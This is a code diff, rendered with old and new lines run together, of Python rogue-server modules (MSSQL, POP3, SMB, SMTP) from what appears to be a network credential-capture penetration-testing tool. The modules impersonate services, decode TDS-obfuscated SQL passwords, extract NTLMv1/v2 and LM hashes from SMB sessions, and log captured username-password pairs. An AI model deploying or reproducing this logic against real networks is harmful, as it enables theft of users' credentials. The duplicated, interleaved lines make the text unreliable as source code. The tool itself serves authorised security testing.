self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '') self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client): def ParseSQLHash(data, client):
SSPIStart = data[8:] SSPIStart = data[8:]
@ -97,17 +94,17 @@ def ParseSQLHash(data, client):
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def ParseSqlClearTxtPwd(Pwd): def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5','')) Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = [] Pw = ''
for x in Pwd: for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
return ''.join(Pw) return Pw
def ParseClearTextSQLPass(data, client): def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data) TDS = TDS_Login_Packet(data)
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
'type': 'Cleartext', 'type': 'Cleartext',
@ -120,7 +117,6 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class # MSSQL Server class
class MSSQL(BaseRequestHandler): class MSSQL(BaseRequestHandler):
def handle(self): def handle(self):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0]) print text("[MSSQL] Received connection from %s" % self.client_address[0])
@ -130,28 +126,24 @@ class MSSQL(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(0.1) self.request.settimeout(0.1)
# Pre-Login Message
if data[0] == "\x12": if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
# NegoSSP if data[0] == "\x10": # NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data): if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate() Packet.calculate()
Buffer = str(Packet) Buffer = str(Packet)
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
else: else:
ParseClearTextSQLPass(data,self.client_address[0]) ParseClearTextSQLPass(data,self.client_address[0])
# NegoSSP Auth if data[0] == "\x11": # NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0]) ParseSQLHash(data,self.client_address[0])
except socket.timeout: except socket.timeout:
pass
self.request.close() self.request.close()

View file

@ -14,22 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import POPOKPacket from packets import POPOKPacket
# POP3 Server class # POP3 Server class
class POP3(BaseRequestHandler): class POP3(BaseRequestHandler):
def SendPacketAndRead(self): def SendPacketAndRead(self):
Packet = POPOKPacket() Packet = POPOKPacket()
self.request.send(str(Packet)) self.request.send(str(Packet))
data = self.request.recv(1024) return self.request.recv(1024)
return data
def handle(self): def handle(self):
try: try:
@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
if data[0:4] == "USER": if data[0:4] == "USER":
User = data[5:].replace("\r\n","") User = data[5:].replace("\r\n","")
data = self.SendPacketAndRead() data = self.SendPacketAndRead()
if data[0:4] == "PASS": if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","") Pass = data[5:].replace("\r\n","")
@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
'cleartext': Pass, 'cleartext': Pass,
'fullhash': User+":"+Pass, 'fullhash': User+":"+Pass,
}) })
self.SendPacketAndRead()
data = self.SendPacketAndRead()
else:
data = self.SendPacketAndRead()
except Exception: except Exception:
pass pass

View file

@ -14,84 +14,49 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
from random import randrange from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
# Detect if SMB auth was Anonymous
def Is_Anonymous(data): def Is_Anonymous(data): # Detect if SMB auth was Anonymous
SecBlobLen = struct.unpack('<H',data[51:53])[0] SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260: if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0] LMhashLen = struct.unpack('<H',data[89:91])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False return LMhashLen in [0, 1]
elif SecBlobLen > 260:
if SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0] LMhashLen = struct.unpack('<H',data[93:95])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False return LMhashLen in [0, 1]
def Is_LMNT_Anonymous(data): def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False return LMhashLen in [0, 1]
#Function used to know which dialect number to return for NT LM 0.12 #Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data): def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
for i in range(0, 16):
if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00'
if Dialect[0] == "NT LM 0.12":
return "\x00\x00"
if Dialect[1] == "NT LM 0.12":
return "\x01\x00"
if Dialect[2] == "NT LM 0.12":
return "\x02\x00"
if Dialect[3] == "NT LM 0.12":
return "\x03\x00"
if Dialect[4] == "NT LM 0.12":
return "\x04\x00"
if Dialect[5] == "NT LM 0.12":
return "\x05\x00"
if Dialect[6] == "NT LM 0.12":
return "\x06\x00"
if Dialect[7] == "NT LM 0.12":
return "\x07\x00"
if Dialect[8] == "NT LM 0.12":
return "\x08\x00"
if Dialect[9] == "NT LM 0.12":
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
if Dialect[11] == "NT LM 0.12":
return "\x0b\x00"
if Dialect[12] == "NT LM 0.12":
return "\x0c\x00"
if Dialect[13] == "NT LM 0.12":
return "\x0d\x00"
if Dialect[14] == "NT LM 0.12":
return "\x0e\x00"
if Dialect[15] == "NT LM 0.12":
return "\x0f\x00"
#Set MID SMB Header field. def midcalc(data): #Set MID SMB Header field.
def midcalc(data): return data[34:36]
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data): def uidcalc(data): #Set UID SMB Header field.
return data[32:34]
def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32] pack=data[30:32]
return pack return pack
#Set TID SMB Header field.
def tidcalc(data): def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30] pack=data[28:30]
return pack return pack
@ -101,8 +66,8 @@ def ParseShare(data):
if a: if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client): def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
SecBlobLen = struct.unpack('<H',data[51:53])[0] SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0] BccLen = struct.unpack('<H',data[61:63])[0]
@ -113,7 +78,6 @@ def ParseSMBHash(data,client):
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0] NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0] NthashOffset = struct.unpack('<H',data[99:101])[0]
else: else:
SSPIStart = data[79:] SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0] LMhashLen = struct.unpack('<H',data[93:95])[0]
@ -160,9 +124,8 @@ def ParseSMBHash(data,client):
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0] Bcc = struct.unpack('<H',data[63:65])[0]
@ -209,36 +172,31 @@ def IsNT4ClearTxt(data, client):
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0] PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2: if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
def handle(self): def handle(self):
try: try:
while True: while True:
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(1) self.request.settimeout(1)
if len(data) < 1: if not data:
break break
##session request 139 if data[0] == "\x81": #session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
try: try:
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except: except:
pass pass
# Negociate Protocol Response if data[8:10] == "\x72\x00": # Negociate Protocol Response
if data[8:10] == "\x72\x00":
# \x72 == Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate() Body.calculate()
@ -249,8 +207,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
# Session Setup AndX Request if data[8:10] == "\x73\x00": # Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data, self.client_address[0]) IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED # STATUS_MORE_PROCESSING_REQUIRED
@ -264,8 +221,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(4096) data = self.request.recv(4096)
# STATUS_SUCCESS
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00": # STATUS_SUCCESS
if Is_Anonymous(data): if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
@ -290,10 +247,9 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
# Tree Connect AndX Request
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00": # Tree Connect AndX Request
ParseShare(data) ParseShare(data)
# Tree Connect AndX Response
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData() Body = SMBTreeData()
Body.calculate() Body.calculate()
@ -304,8 +260,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Tree Disconnect. if data[8:10] == "\x71\x00": #Tree Disconnect
if data[8:10] == "\x71\x00":
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -314,9 +269,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -325,9 +279,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Trans2 Access Denied. if data[8:10] == "\x25\x00": # Trans2 Access Denied.
if data[8:10] == "\x25\x00":
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -337,8 +290,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00": if data[8:10] == "\x74\x00": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00" Body = "\x02\xff\x00\x27\x00\x00\x00"
@ -351,22 +304,19 @@ class SMB1(BaseRequestHandler):
except socket.timeout: except socket.timeout:
pass pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
def handle(self): def handle(self):
try: try:
self.request.settimeout(0.5) self.request.settimeout(0.5)
data = self.request.recv(1024) data = self.request.recv(1024)
##session request 139 if data[0] == "\x81": #session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Negotiate proto answer. if data[8:10] == "\x72\x00": #Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body.calculate() Body.calculate()
@ -374,23 +324,20 @@ class SMB1LM(BaseRequestHandler):
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Session Setup AndX Request if data[8:10] == "\x73\x00": #Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_LMNT_Anonymous(data): if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty()) Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer) self.request.send(Buffer)
else: else:
ParseLMNTHash(data,self.client_address[0]) ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty()) Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
self.request.close() self.request.close()
pass pass

View file

@ -14,15 +14,11 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from base64 import b64decode, b64encode from base64 import b64decode
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
# ESMTP Server class
class ESMTP(BaseRequestHandler): class ESMTP(BaseRequestHandler):
def handle(self): def handle(self):